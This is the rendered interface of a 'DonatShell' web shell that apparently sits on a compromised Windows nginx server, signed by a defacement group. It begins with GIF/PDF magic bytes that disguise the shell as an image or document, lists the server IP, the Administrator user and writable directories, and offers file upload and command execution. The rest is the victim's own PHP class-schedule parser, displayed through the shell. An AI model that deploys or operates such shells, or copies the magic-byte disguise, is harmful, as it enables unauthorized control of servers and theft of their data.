GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/_Archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/_Archive/ClassAddFormParse.phpinc
<?
// Admin/ClassAddFormParse.phpinc

debugTrackBegin();

#d_On();
$error = false;
$f_error = '';

$f_classId = formValue('classId');
$f_courseId = formValue('courseId');
$f_parseDataArray = explode("\n",formValue('parseData'));

// Valid Bldgs
$Bldgs = array("Main", "A", "B", "C", "D", "F", "H", "L", "On", "Off", "S");

if (d_O()) {
	/* */
	#d_Var("$_POST",$_POST);
	d_Var('$f_classId',$f_classId);
	d_Var('$f_courseId',$f_courseId);
	d_Var('$f_parseDataArray',$f_parseDataArray);
	/* */
}

$classDataArray = array();
$classIndex = 0;
$state = 'Begin';
for ($index=1; $index<=count($f_parseDataArray); $index++) {
	$parseLine = trim($f_parseDataArray[$index-1]);
	if ( $parseLine != '' ) {
		// Parse this line.
		$parseLineNoSpaces = str_replace(" ","",$parseLine);
		$tokens = explode(" ",$parseLine);
		for ($tokensIndex=0; $tokensIndex<count($tokens); $tokensIndex++) { // trim the tokens.
			$tokens[$tokensIndex] = trim($tokens[$tokensIndex]);
		}
		for ($tokensIndex=0; $tokensIndex<count($tokens); $tokensIndex++) {
			if ( d_O() && $state == 'Begin' ) d_Line("Begin",'/');
			if (d_O()) d_Line("parseLine[$index]=$parseLine");
			if (d_O()) d_Line("State [$state] line#$index token#$tokensIndex [".$tokens[$tokensIndex]."]");
			switch ($state) {
				case 'Begin':
					// Look for RCclassId.
					if ( $tokens[$tokensIndex] == '' ) {
						// Skip blank token
					} else {
						// Parse RCclassId
						if (strlen($tokens[$tokensIndex]) == 6 && is_numeric($tokens[$tokensIndex])) {
							// RCclassId found.
							$classDataArray[$classIndex]['RCclassId'] = $tokens[$tokensIndex];
							$state = 'CourseNumber';
							d_Var('RCclassId found',$classDataArray[$classIndex]['RCclassId']);
						} else {
							$error = true;
							$f_error .= "Line $index ".'RCclassId not found ('.$tokens[$tokensIndex].').<br />';
							#d_Line($f_error);
							$state = 'Error';
						}
					}
					break;
				case 'CourseNumber':
					// Look for CourseNumber
					if ( $tokens[$tokensIndex] != '' ) {
						// Parse for CourseNumber
						#if (d_O()) d_Var('preg_match("/[A-Za-z]{3,4}[0-9]{2,4}/",'.$tokens[$tokensIndex].')',preg_match("/[A-Za-z]{3,4}[0-9]{2,4}/",$tokens[$tokensIndex]));
						if ( preg_match("/[A-Za-z]{3,4}[0-9]{2,4}/",$tokens[$tokensIndex]) ) {
							// CourseNumber found.
							$classDataArray[$classIndex]['courseNumber'] = $tokens[$tokensIndex];
							d_Var('courseNumber found',$classDataArray[$classIndex]['courseNumber']);
							$state = 'SectionNumber';
						} else {
							$error = true;
							$f_error .= "Line $index ".'CourseNumber not found ('.$tokens[$tokensIndex].').<br />';
							$state = 'Error';
						}
					} else {
						// Skip this token.
					}
					break;
				case 'SectionNumber':
					// Look for SectionNumber
					if ( $tokens[$tokensIndex] != '' ) {
						// Parse for SectionNumber
						#if (d_O()) d_Var('preg_match("/[0-9]{1,3}/",'.$tokens[$tokensIndex].')',preg_match("/[0-9]{1,3}/",$tokens[$tokensIndex]));
						if ( preg_match("/[0-9]{1,3}/",$tokens[$tokensIndex]) ) {
							// SectionNumber found.
							$classDataArray[$classIndex]['classSection'] = $tokens[$tokensIndex];
							d_Var('classSection found',$classDataArray[$classIndex]['classSection']);
							$dataLineFinishCount = 0;
							$state = 'Dates';
							$classDataArray[$classIndex]['classDateStart'] = array();
							$classDataArray[$classIndex]['classDateStop'] = array();
							// Skip to end of parseLine.
							$tokensIndex = count($tokens)+1;
						} else {
							$error = true;
							$f_error .= "Line $index ".'SectionNumber not found ('.$tokens[$tokensIndex].').<br />';
							$state = 'Error';
						}
					} else {
						// Skip this token.
					}
					break;
				case 'Dates':
					// Look for date lines.
					#d_Var('$tokensIndex',$tokensIndex);
					#d_Var('strstr('.$tokens[$tokensIndex].",'-')",strstr($tokens[$tokensIndex],'-'));
					if ( $tokensIndex != 0 && strstr($tokens[$tokensIndex],'-') === false ) {
						// Skip to Date on first line.
					} else {
						// Parse Dates
						if ( strstr($tokens[$tokensIndex],'-') !== false ) {
							// This is a Date
							$dataLineFinishCount += 1; // increment dataLineFinishCount. This will be used to count lines for all other data.
							if ( $tokens[$tokensIndex] != '-' ) {
								// Get Dates
								list($startDate,$stopDate) = explode('-',$tokens[$tokensIndex]);
								// Get Date parts
								#d_Var('$startDate',$startDate);
								list($startMonth,$startDay,$year) = explode('/',$startDate);
								#d_Var('$stopDate',$stopDate);
								list($stoptMonth,$stopDay,$year) = explode('/',$stopDate);
								// Set year to current.
								$year = date('Y');
								$classDateStart = valid_date($year.'-'.$startMonth.'-'.$startDay);
								$classDataArray[$classIndex]['classDateStart'][] = $classDateStart;
								$classDateStop = valid_date($year.'-'.$stoptMonth.'-'.$stopDay);
								$classDataArray[$classIndex]['classDateStop'][] = $classDateStop;
								d_Var('classDateStart found',$classDateStart);
								d_Var('classDateStop found',$classDateStop);
							} else {
								// Dates are blank
								$classDataArray[$classIndex]['classDateStart'][] = '';
								$classDataArray[$classIndex]['classDateStop'][] = '';
								if (d_O()) d_Var("classDateStart",'');
								if (d_O()) d_Var("classDateStop",'');
							}
						} else {
							if ( $tokens[$tokensIndex] != 'Arranged' ) {
								// Move to Days.
								$dataLineCount = 0;
								$state = 'Days';
								$classDataArray[$classIndex]['classDays'] = array();
								// Reparse this token.
								$tokensIndex -= 1;
							} else {
								// Days are blank.
								$classDataArray[$classIndex]['classDays'][] = '';
								// Times are blank.
								$classDataArray[$classIndex]['classTimeStart'][] = '';
								$classDataArray[$classIndex]['classDateStop'][] = '';
								// Room numbers are blank.
								$classDataArray[$classIndex]['classRoomNumber'] = array();
								$classDataArray[$classIndex]['classRoomNumber'][] = '';
								// Move to Instructors
								$dataLineCount = 0;
								$state = 'Instructors';
								$classDataArray[$classIndex]['classInstructor'] = array();
							}
						}
					}
					break;
				case 'Days':
					// Look for Days.
					$f_classDays = $parseLineNoSpaces;
					if ( $f_classDays == '') {
						// There Day line is blank.
						// Save Days.
						$classDataArray[$classIndex]['classDays'][] = '';
						$dataLineCount += 1;
						if (d_O()) d_Var("classDays",'');
					} else {
						// Parse Days.
						$thisDayError = '';
						if ( preg_match_all("/[Uu]/",$f_classDays,$matches) > 1 ) {
							$thisDayError .= 'Line '.$index.' Days ('.$f_classDays.') has more than one Sunday (U).<br />';
						}
						if ( preg_match_all("/[Mm]/",$f_classDays,$matches) > 1 ) {
							$thisDayError .= 'Line '.$index.' Days ('.$f_classDays.') has more than one Monday (M).<br />';
						}
						if ( preg_match_all("/[Tt]/",$f_classDays,$matches) > 1 ) {
							$thisDayError .= 'Line '.$index.' Days ('.$f_classDays.') has more than one Tuesday (T).<br />';
						}
						if ( preg_match_all("/[Ww]/",$f_classDays,$matches) > 1 ) {
							$thisDayError .= 'Line '.$index.' Days ('.$f_classDays.') has more than one Wednesday (W).<br />';
						}
						if ( preg_match_all("/[Hh]/",$f_classDays,$matches) > 1 ) {
							$thisDayError .= 'Line '.$index.' Days ('.$f_classDays.') has more than one Thursday (H).<br />';
						}
						if ( preg_match_all("/[Ff]/",$f_classDays,$matches) > 1 ) {
							$thisDayError .= 'Line '.$index.' Days ('.$f_classDays.') has more than one Friday (F).<br />';
						}
						if ( preg_match_all("/[Ss]/",$f_classDays,$matches) > 1 ) {
							$thisDayError .= 'Line '.$index.' Days ('.$f_classDays.') has more than one Saturday (S).<br />';
						}
						if ( preg_match_all("/[^UuMmTtWwHhFfSs]/",$f_classDays,$matches) > 0 ) {
							$thisDayError .= 'Line '.$index.' Days ('.$f_classDays.') has non-day characters (UMTWHFS).<br />';
						}
						if ( $thisDayError == '' ) {
							// Save days.
							$classDataArray[$classIndex]['classDays'][] = $f_classDays;
							if (d_O()) d_Var("classDays found",$f_classDays);
							$dataLineCount += 1;
							// Skip to end of parseLine.
							$tokensIndex = count($tokens)+1;
						}
					}
					// See if we are done with Days
					if ( $dataLineCount == $dataLineFinishCount ) {
						// Move to Times
						$dataLineCount = 0;
						$state = 'Times';
						$classDataArray[$classIndex]['classTimeStart'] = array();
						$classDataArray[$classIndex]['classTimeStop'] = array();
						// Skip to end of parseLine.
						$tokensIndex = count($tokens)+1;
					}
					break;
				case 'Times':
					// Look for Times.
					if ( $tokens[$tokensIndex] == '-' || $tokens[$tokensIndex] == 'Arranged' ) {
						// The time is - or Arranged.
						if ( $tokens[$tokensIndex] == '-' ) $tokens[$tokensIndex] = '';
						$classDataArray[$classIndex]['classTimeStart'][] = $tokens[$tokensIndex];
						$classDataArray[$classIndex]['classTimeStop'][] = '';
						if (d_O()) d_Var("classTimeStart",$tokens[$tokensIndex]);
						if (d_O()) d_Var("classTimeStop",'');
						$dataLineCount += 1;
					} else {
						// Time found.
						$times = explode('-',$tokens[$tokensIndex]);
						if ( valid_time($times[0]) ) {
							// Save start time.
							$classDataArray[$classIndex]['classTimeStart'][] = valid_time($times[0]);
							if (d_O()) d_Var("classTimeStart",valid_time($times[0]));
							if ( valid_time($times[1]) ) {
								if ( strtotime(valid_time($times[0])) < strtotime($times[1]) ) {
									// Save stop time
									$classDataArray[$classIndex]['classTimeStop'][] = valid_time($times[1]);
									if (d_O()) d_Var("classTimeStop",valid_time($times[1]));
									$dataLineCount += 1;
								} else {
									// Start after stop.
									$state = 'Error:'.__LINE__;
									$error = true;
									$f_error .= 'Line '.$index.' Start time ('.$times[0].') is not before Stop time ('.$times[1].').<br />';
								} // if ( strtotime($f_classTimeStartArray[$index-1]) < strtotime($f_classTimeStop) )
							} else {
								// This is not a valid TimeStop.
								$error = true;
								$f_error .= 'Line '.$index.' Stop time ('.$times[1].') is not a valid time.<br />';
								$state = 'Error';
							}
						} else {
							// This is not a valid TimeStart.
							$error = true;
							$f_error .= 'Line '.$index.' Start time ('.$times[0].') is not a valid time.<br />';
							$state = 'Error';
						}
					}
					// See if we are done with Times
					if ( $dataLineCount == $dataLineFinishCount ) {
						// Move to Bldgs
						$dataLineCount = 0;
						$state = 'Bldgs';
						$classDataArray[$classIndex]['classRoomBldg'] = array();
						// Skip to end of parseLine.
						$tokensIndex = count($tokens)+1;
					}
					break;
				case 'Bldgs':
					// Look for Bldgs.
					$classDataArray[$classIndex]['classRoomBldg'][] = $parseLine;
					if (d_O()) d_Var("classRoomBldg",$parseLine);
					$dataLineCount += 1;
					// Skip to end of parseLine.
					$tokensIndex = count($tokens)+1;
					// See if we are done with Bldgs
					if ( $dataLineCount == $dataLineFinishCount ) {
						// Move to Rooms
						$dataLineCount = 0;
						$state = 'Rooms';
						$classDataArray[$classIndex]['classRoomNumber'] = array();
					}
					break;
				case 'Rooms':
					// Look for Rooms.
					$classDataArray[$classIndex]['classRoomNumber'][] = $parseLine;
					if (d_O()) d_Var("classRoomNumber",$parseLine);
					$dataLineCount += 1;
					// Skip to end of parseLine.
					$tokensIndex = count($tokens)+1;
					// See if we are done with Rooms
					if ( $dataLineCount == $dataLineFinishCount ) {
						// Move to Instructors
						$dataLineCount = 0;
						$state = 'Instructors';
						$classDataArray[$classIndex]['classInstructor'] = array();
					}
					break;
				case 'Instructors':
					// Look for Instructors.
					$classDataArray[$classIndex]['classInstructor'][] = $parseLineNoSpaces;
					if (d_O()) d_Var("classInstructor",$parseLineNoSpaces);
					$dataLineCount += 1;
					// Skip to end of parseLine.
					$tokensIndex = count($tokens)+1;
					// See if we are done with Instructors
					if ( $dataLineCount == $dataLineFinishCount ) {
						// Begin again
						if (d_O()) d_Var('End class parse at ',$index-1);
						$state = 'Begin';
						$classIndex += 1;
					}
					break;
				case 'Error':
					// Found an error.
					$errorToken = $tokensIndex;
					$errorLine = $index;
					// Skip to end of parseLine.
					$tokensIndex = count($tokens)+1;
					// Skip to end of parseData.
					$index = count($f_parseDataArray)+1;
					break;
				default:
					if (d_O()) d_Var('$classDataArray',$classDataArray);
					$f_error = 'The state ('.$state.') is not programmed for parseLine('.$index.')='.$tokens[$tokensIndex].' <span class="pv_fl"> '.basename(__FILE__).':'.__LINE__.'</span><br>'.$parseLine;
					include('common/displayErrorsAndMessages.phpinc');
					include('common/pageFooter.phpinc');
					break;
			} // switch ($state)
		} // for ($tokensIndex=0; $tokensIndex<count($tokens) $tokensIndex++)
	} else {
		d_line("Blank line#$index skipped.");
	}
} // for ($index=0; $index<count($f_parseDataArray); $index++)

if (d_O()) echo "<br>\n";
if (d_O()) d_Var('$classDataArray',$classDataArray);

// RCclassId

// classSection

// classDays

// classTimeStart

// classTimeStop

// classRoomBldg

// classRoomNumber

// classInstructor

debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team